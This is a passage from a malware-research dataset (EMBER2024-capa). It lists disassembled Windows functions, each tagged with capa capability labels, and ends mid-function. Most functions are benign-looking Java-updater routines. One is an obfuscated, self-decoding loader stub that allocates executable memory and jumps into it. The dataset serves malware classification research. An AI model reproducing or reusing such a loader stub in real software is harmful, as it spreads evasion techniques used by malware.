joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d573f59
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8f4]
sub esp, 0x974
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x8f0], eax
mov eax, dword [ebp + 0x8fc]
push ebx
push esi
mov esi, 0x400
push esi
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call fcn.6d577610
add esp, 0x10
test eax, eax
je 0x6d5740b4
lea eax, [ebp - 0x14]
push eax
push str._s_ssvagent.exe
lea eax, [ebp + 0x3ec]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.MSVCR100.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x6d5740b4
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
xor ebx, ebx
push edi
mov byte [ebp + 0x7ec], bl
mov edi, 0x104
lea eax, [ebp + 0x7ec]
cmp dword [ebp + 0x900], ebx
je 0x6d573ff5
push str.__new
jmp 0x6d573ffa
push str.__old
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x904], ebx
je 0x6d57401b
push str.__high
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x90c], ebx
je 0x6d574035
push str.__settreatas
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x7ec]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], eax
pop edi
cmp dword [ebp + 0x904], ebx
je 0x6d57406b
call fcn.6d577610
test eax, eax
je 0x6d57406b
mov dword [ebp - 0x74], str.runas
cmp dword [ebp + 0x908], ebx
je 0x6d57407a
mov dword [ebp - 0x7c], 0x40
lea eax, [ebp + 0x3ec]
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x6d5740b4
cmp dword [ebp - 0x48], ebx
je 0x6d5740b0
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
jmp 0x6d5740b6
xor eax, eax
mov ecx, dword [ebp + 0x8f0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x8f4
leave
ret
Function at 0x6d5741d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
push esi
xor ebx, ebx
push 0x3ff
lea eax, [ebp + 0x389]
push ebx
push eax
mov esi, ecx
mov byte [ebp + 0x388], bl
call sub.MSVCR100.dll_memset
push esi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov esi, 0x400
lea eax, [ebp + 0x388]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
lea eax, [ebp + 0x388]
push ebx
push eax
cmp dword [ebp + 0x794], ebx
jne 0x6d574251
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x6d574258
xor eax, eax
jmp 0x6d574299
push SysReAllocString
jmp 0x6d574243
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x6d57974e
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x6d574280
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x6d57424d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push edi
call dword [sym.imp.MSVCR100.dll__mbscmp]
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x78c
leave
ret

Function at 0x6d5742b0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8d0]
sub esp, 0x950
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x8cc], eax
mov eax, dword [ebp + 0x8d8]
push ebx
push esi
push edi
push 0x3ff
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x4cd]
push 0
push eax
mov byte [ebp + 0x4cc], 0
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
add esp, 0xc
and dword [ebp - 0x78], 0
mov ebx, 0x6d57c10c
mov edi, 0x400
cmp dword [ebp - 0x78], 0
jne 0x6d5743ca
push dword [ebp - 0x80]
lea eax, [ebp + 0xcc]
push edi
push eax
mov byte [ebp + 0xcc], 0
call esi
push str._
lea eax, [ebp + 0xcc]
push edi
push eax
call esi
push dword [ebx]
lea eax, [ebp + 0xcc]
push edi
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0xcc]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x6d5743bb
push dword [ebp - 0x80]
lea eax, [ebp + 0x4cc]
push edi
push eax
mov byte [ebp + 0x4cc], 0
call esi
push 0x6d579c34
lea eax, [ebp + 0x4cc]
push edi
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp + 0x4cc]
push edi
push eax
call esi
lea eax, [ebp + 0x4cc]
push eax
call fcn.6d5763b8
add esp, 0x28
test eax, eax
je 0x6d5743b4
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x6d57435d
jmp 0x6d5743bb
mov dword [ebp - 0x78], 1
add ebx, 4
cmp ebx, 0x6d57c118
jl 0x6d574308
push dword [ebp - 0x7c]
call dword [sym.imp.kernel32.dll_FindClose]
mov ecx, dword [ebp + 0x8cc]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x8d0
leave
ret
Function at 0x6d5743ee
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x944]
sub esp, 0x944
push 0xfffffffffffffffe
push 0x6d57adc8
push 0x6d5773b7
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x6d57c188]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x940], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x94c]
mov dword [ebp - 0x28], eax
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov byte [ebp + 0x540], bl
push 0x3ff
push ebx
lea eax, [ebp + 0x541]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov edi, 0x400
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
cmp dword [ebp - 0x20], 3
jge 0x6d574596
mov byte [ebp + 0x140], 0
push dword [ebp - 0x28]
push edi
lea eax, [ebp + 0x140]
push eax
call esi
push 0x6d579c38
push edi
lea eax, [ebp + 0x140]
push eax
call esi
mov eax, dword [ebp - 0x20]
push dword [eax*4 + 0x6d57c10c]
push edi
lea eax, [ebp + 0x140]
push eax
call esi
add esp, 0x24
lea eax, [ebp]
push eax
lea eax, [ebp + 0x140]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x2c], eax
cmp eax, 0xffffffff
je 0x6d57456b
mov byte [ebp + 0x540], 0
push dword [ebp - 0x28]
push edi
lea eax, [ebp + 0x540]
push eax
call esi
push 0x6d579c3c
push edi
lea eax, [ebp + 0x540]
push eax
call esi
lea eax, [ebp + 0x2c]
push eax
push edi
lea eax, [ebp + 0x540]
push eax
call esi
lea eax, [ebp + 0x540]
push eax
call fcn.6d5763b8
add esp, 0x28
test eax, eax
jne 0x6d574556
push 0x404
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x6d574537
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x6d57c188
call sub.MSVCR100.dll__local_unwind4
add esp, 0xc
xor eax, eax
jmp 0x6d5745a5
mov byte [eax], 0
lea ecx, [ebp + 0x540]
push ecx
push edi
push eax
call esi
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x400], ebx
mov ebx, eax
mov dword [ebp - 0x24], ebx
lea eax, [ebp]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x6d5744ca
test ebx, ebx
je 0x6d57458e
push ebx
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [ebx + 0x400]
mov dword [ebp - 0x1c], eax
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ebx
jmp 0x6d57456b
inc dword [ebp - 0x20]
jmp 0x6d574469
mov dword [ebp - 4], 0xfffffffe
call fcn.6d5745cb
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x940]
xor ecx, ebp
call fcn.6d57731e
add ebp, 0x944
leave
ret
Function at 0x6d57461e
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xb94]
sub esp, 0xc14
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0xb90], eax
mov eax, dword [ebp + 0xb9c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_sprintf_s]
push eax
push str.SOFTWAREJavaSoftJava_Runtime_Environment
push 0x6d579ca4
mov esi, 0x400
lea eax, [ebp - 0x70]
push esi
xor ebx, ebx
push eax
mov dword [ebp - 0x7c], ebx
call edi
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x70]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d57474e
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x390]
push eax
push ebx
push ebx
push 0x6d579cac
push dword [ebp - 0x78]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x74], ebx
jne 0x6d57474e
push str.binjava.exe
lea eax, [ebp + 0x390]
push eax
push 0x6d579cc8
lea eax, [ebp + 0x790]
push esi
push eax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x14
lea eax, [ebp + 0x790]
push eax
call ebx
test eax, eax
je 0x6d57474e
push str.binclientjvm.dll
lea eax, [ebp + 0x390]
push eax
push 0x6d579ce4
lea eax, [ebp + 0x790]
push esi
push eax
call edi
add esp, 0x14
lea eax, [ebp + 0x790]
push eax
call ebx
mov dword [ebp - 0x74], eax
push str.bin_serverjvm.dll
lea eax, [ebp + 0x390]
push eax
push 0x6d579d00
lea eax, [ebp + 0x790]
push esi
push eax
call edi
add esp, 0x14
lea eax, [ebp + 0x790]
push eax
call ebx
cmp dword [ebp - 0x74], 0
jne 0x6d574747
test eax, eax
je 0x6d57474e
mov dword [ebp - 0x7c], 1
mov ecx, dword [ebp + 0xb90]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0xb94
leave
ret
Function at 0x6d5749f5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x39c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x63]
push ebx
push eax
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x64], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x20019
push 0x6d579aec
push SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
call fcn.6d577610
lea ecx, [ebp - 0x74]
test eax, eax
je 0x6d574a6d
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
jmp 0x6d574af9
push 0x2001f
push str.Classes
push dword [ebp - 0x80]
call fcn.6d577610
test eax, eax
je 0x6d574a88
lea ecx, [ebp - 0x74]
jmp 0x6d574a5b
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, 0x400
push esi
lea eax, [ebp - 0x64]
push eax
push ebx
jmp 0x6d574ade
push 0xa
lea eax, [ebp - 0x64]
push str.JavaPlugin
push eax
call dword [sym.imp.MSVCR100.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x6d574ac5
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d571db8
test eax, eax
je 0x6d574ac8
inc dword [ebp - 0x68]
push esi
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x74]
call edi
test eax, eax
je 0x6d574a9d
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
pop edi
pop esi
mov ecx, dword [ebp + 0x39c]
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x3a0
leave
ret
Function at 0x6d57561c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x390], eax
push esi
lea eax, [ebp - 0x78]
push eax
push 0x20019
xor esi, esi
push esi
push 0x6d579c40
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d57571d
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], esi
push esi
jmp 0x6d5756ff
xor ecx, ecx
xor eax, eax
cmp dword [ebp - 0x74], esi
jbe 0x6d5756ed
cmp byte [ebp + eax - 0x70], 0x2e
jne 0x6d57568e
inc ecx
cmp ecx, 1
jg 0x6d575699
inc eax
cmp eax, dword [ebp - 0x74]
jb 0x6d575681
cmp ecx, 1
jle 0x6d5756ed
push str.1.3.1
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d5756ed
lea eax, [ebp - 0x70]
push eax
call fcn.6d57461e
pop ecx
test eax, eax
je 0x6d5756ed
mov eax, dword [ebp - 0x74]
inc eax
push eax
call sub.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_
lea ecx, [ebp - 0x70]
push ecx
mov ecx, dword [ebp - 0x74]
push 0x6d579c74
inc ecx
push ecx
push eax
mov dword [ebp - 0x80], eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x14
lea eax, [ebp - 0x80]
push eax
mov ecx, 0x6d57c2dc
call fcn.6d575e62
inc dword [ebp - 0x7c]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], 0x400
call edi
test eax, eax
je 0x6d575678
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, dword [ebp + 0x390]
xor ecx, ebp
pop esi
call fcn.6d57731e
add ebp, 0x394
leave
ret
Function at 0x6d576733
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3b8]
sub esp, 0x438
mov eax, dword [0x6d57c188]
xor eax, ebp
mov dword [ebp + 0x3b4], eax
push ebx
xor ebx, ebx
push esi
mov esi, 0x20019
push esi
push 0x6d57a408
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x50], ebx
call fcn.6d577610
test eax, eax
je 0x6d5767ce
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x5c]
call fcn.6d5716c7
lea ecx, [ebp - 0x68]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
xor eax, eax
mov ecx, dword [ebp + 0x3b4]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d57731e
add ebp, 0x3b8
leave
ret
push esi
push 0x6d57a414
push dword [ebp - 0x80]
lea ecx, [ebp - 0x68]
call fcn.6d577610
test eax, eax
jne 0x6d576795
push esi
push 0x6d57a420
push dword [ebp - 0x68]
lea ecx, [ebp - 0x5c]
call fcn.6d577610
test eax, eax
je 0x6d57681c
lea ecx, [ebp - 0x74]
call fcn.6d5716c7
lea ecx, [ebp - 0x5c]
call fcn.6d5716c7
lea ecx, [ebp - 0x68]
call fcn.6d5716c7
lea ecx, [ebp - 0x80]
call fcn.6d5716c7
mov eax, ebx
jmp 0x6d5767b7
mov esi, 0x400
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push ebx
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x6d5767f8
push edi
inc dword [ebp - 0x50]
mov edi, dword [ebp + 0x3c0]
lea eax, [ebp - 0x4c]
mov cl, byte [eax]
cmp cl, byte [edi]
jne 0x6d57686f
cmp cl, bl
je 0x6d57686b
mov cl, byte [eax + 1]
cmp cl, byte [edi + 1]
jne 0x6d57686f
add eax, 2
add edi, 2
cmp cl, bl
jne 0x6d57684f
xor eax, eax
jmp 0x6d576874
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
lea eax, [ebp - 0x4c]
je 0x6d57689d
push esi
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x6d576843
jmp 0x6d5768d3
push 0x20019
push eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x74]
call fcn.6d577610
test eax, eax
jne 0x6d5768d3
push str.UseNewJavaPlugin
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x50], ebx
call fcn.6d577610
test eax, eax
jne 0x6d5768d3
xor ebx, ebx
cmp dword [ebp - 0x50], 1
sete bl
pop edi
jmp 0x6d5767f8

Function at 0x6d57731e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d57c188]
jne 0x6d577328
repz ret
jmp fcn.6d5779b9
Function at 0x6d577610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d57761f
pop dword [ebp - 0x44]
mov eax, 0x8391482c
add eax, 0xe9c62df3
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa8e44915
sub dword [ebp - 0x54], 0x5a9203ca
mov dword [ebp - 0x50], 0x6dd0a32e
sub dword [ebp - 0x50], 0x3b9d56e9
mov dword [ebp - 0x4c], 0x72bd81ef
sub dword [ebp - 0x4c], 0x26713dc1
mov dword [ebp - 0x48], 0x9c867a44
add dword [ebp - 0x48], 0x637985bc
lea eax, [ebp - 0x54]
push eax
mov eax, 0xc4b56dc1
sub eax, 0x575ddd95
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x33d93233
sub dword [ebp - 0x54], 0xbf66c8dd
mov dword [ebp - 0x50], 0x598dcc68
sub dword [ebp - 0x50], 0x18216af3
mov dword [ebp - 0x4c], 0x448ec3e8
sub dword [ebp - 0x4c], 0xe11f577c
mov dword [ebp - 0x48], 0xf2e5513e
add dword [ebp - 0x48], 0xd1aaec2
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xb3c2d3a6
add eax, 0xb994bc82
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x371db
push 0
call eax
mov ecx, 0x13eea944
add ecx, 0xec119dd3
mov edx, eax
mov ebx, 0x6d57ee00
add ebx, dword [ebp - 0x44]
mov esi, 0x3bf8cc11
add esi, 0xc3c95af3
add dword [ebp - 0x30], 0x3b8e3f60
mov edi, dword [ebx]
add dword [ebp - 0x24], 0x37bbd460
sub edi, esi
add dword [ebp - 0x10], 0x7a509043
mov dword [edx], edi
xor dword [ebp - 8], esi
add edx, 0xfa2c0917
sub edx, 0xfa2c0913
add ebx, 0x6b3afb67
add ebx, 0x94c5049d
loop 0x6d57773b
add eax, 0xfc69b9c3
sub eax, 0xfc68aa94
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x69d7513c
sub ecx, 0xfc80513c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401bf2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c31
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c31
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c31
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c31
cmp dword [ecx + 0x74], 0xe
jbe 0x401c31
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x402220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x4241dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x45], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x50], ecx
cmp eax, 2
ja 0x402248
mov ecx, 2
jmp 0x402263
cmp eax, 8
ja 0x402254
mov ecx, 8
jmp 0x402263
mov ecx, 0xa
cmp ecx, eax
sbb ecx, ecx
and ecx, 6
add ecx, 0xa
cmp dword [ebp + 0x14], 1
push ebx
push esi
push edi
lea esi, [ebp - 0x44]
jbe 0x4022df
mov dword [ebp - 0x44], 0x300030
mov dword [ebp - 0x40], 0x300030
mov dword [ebp - 0x3c], 0x300030
mov dword [ebp - 0x38], 0x300030
mov dword [ebp - 0x34], 0x300030
mov dword [ebp - 0x30], 0x300030
mov dword [ebp - 0x2c], 0x300030
mov dword [ebp - 0x28], 0x300030
mov dword [ebp - 0x24], 0x300030
mov dword [ebp - 0x20], 0x300030
mov dword [ebp - 0x1c], 0x300030
mov dword [ebp - 0x18], 0x300030
mov dword [ebp - 0x14], 0x300030
mov dword [ebp - 0x10], 0x300030
mov dword [ebp - 0xc], 0x300030
mov dword [ebp - 8], 0x300030
mov ebx, dword [ebp + 0xc]
xor edi, edi
mov eax, ebx
xor edx, edx
div ecx
inc edi
lea esi, [esi + 2]
mov ebx, eax
mov ax, word [edx*2 + str.0123456789ABCDEF]
mov word [esi - 2], ax
test ebx, ebx
jne 0x4022e4
mov dword [ebp - 0x4c], edi
mov edi, dword [ebp + 0x14]
cmp dword [ebp - 0x4c], edi
lea ebx, [ebp - 0x44]
cmova edi, dword [ebp - 0x4c]
xor eax, eax
cmp byte [ebp - 0x45], al
lea ebx, [ebx + edi*2]
setne al
lea esi, [eax + edi]
lea eax, [esi*2 + 0xd]
and eax, 0xfffffff8
add eax, 8
push eax
call fcn.0040e63c
mov ecx, dword [ebp - 0x50]
mov dword [eax + 4], esi
mov dword [eax + 8], 0x402150
mov dword [eax], 1
add esp, 4
cmp byte [ebp - 0x45], 0
mov dword [ecx], eax
mov dword [ecx + 4], 0
lea ecx, [eax + 0xc]
je 0x402364
mov eax, 0x2d
mov word [ecx], ax
add ecx, 2
test edi, edi
je 0x402380
jmp 0x402370
mov ax, word [ebx - 2]
lea ebx, [ebx - 2]
mov word [ecx], ax
lea ecx, [ecx + 2]
dec edi
jne 0x402370
xor eax, eax
mov word [ecx], ax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e6b5
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4034c0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418958
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
mov eax, dword [0x4241dc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.00402110
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x4035a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x4035a5
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401000
push 0
push 0x41a47c
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00401ef0
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00402170
test eax, eax
lea ecx, [ebp - 0x20]
sete bl
mov byte [ebp - 4], 1
call fcn.004010d0
test bl, bl
jne 0x403596
sub esp, 8
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.00401000
call fcn.004034c0
add esp, 8
test al, al
je 0x403596
push 0
lea ecx, [ebp + 8]
call fcn.00402110
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
lea ecx, [ebp - 0x18]
setne bl
mov byte [ebp - 4], 0
call fcn.004010d0
jmp 0x4035a7
xor bl, bl
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.004010d0
jmp 0x4035a7
mov bl, 1
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
call fcn.004010d0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4035d0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
mov eax, dword [0x4241dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push eax
mov dword [ebp - 0x870], eax
lea eax, [ebp - 0x414]
push 0x104
push eax
mov bl, 1
call fcn.0040f440
push 0x41a480
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0040f3d4
push 0x41a620
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0040f3d4
add esp, 0x24
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x403777
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x403660
lea eax, [ebp - 0x840]
push eax
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.0040f440
add esp, 0xc
mov ecx, 0x41a624
lea eax, [ebp - 0x61c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4036ac
test dx, dx
je 0x4036a8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4036ac
add eax, 4
add ecx, 4
test dx, dx
jne 0x403686
xor eax, eax
jmp 0x4036b1
sbb eax, eax
or eax, 1
test eax, eax
je 0x403759
mov ecx, 0x41a628
lea eax, [ebp - 0x61c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4036ea
test dx, dx
je 0x4036e6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4036ea
add eax, 4
add ecx, 4
test dx, dx
jne 0x4036c4
xor eax, eax
jmp 0x4036ef
sbb eax, eax
or eax, 1
test eax, eax
je 0x403759
push dword [ebp - 0x870]
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040f440
push 0x41a480
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040f3d4
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.0040f3d4
add esp, 0x24
test byte [ebp - 0x86c], 0x10
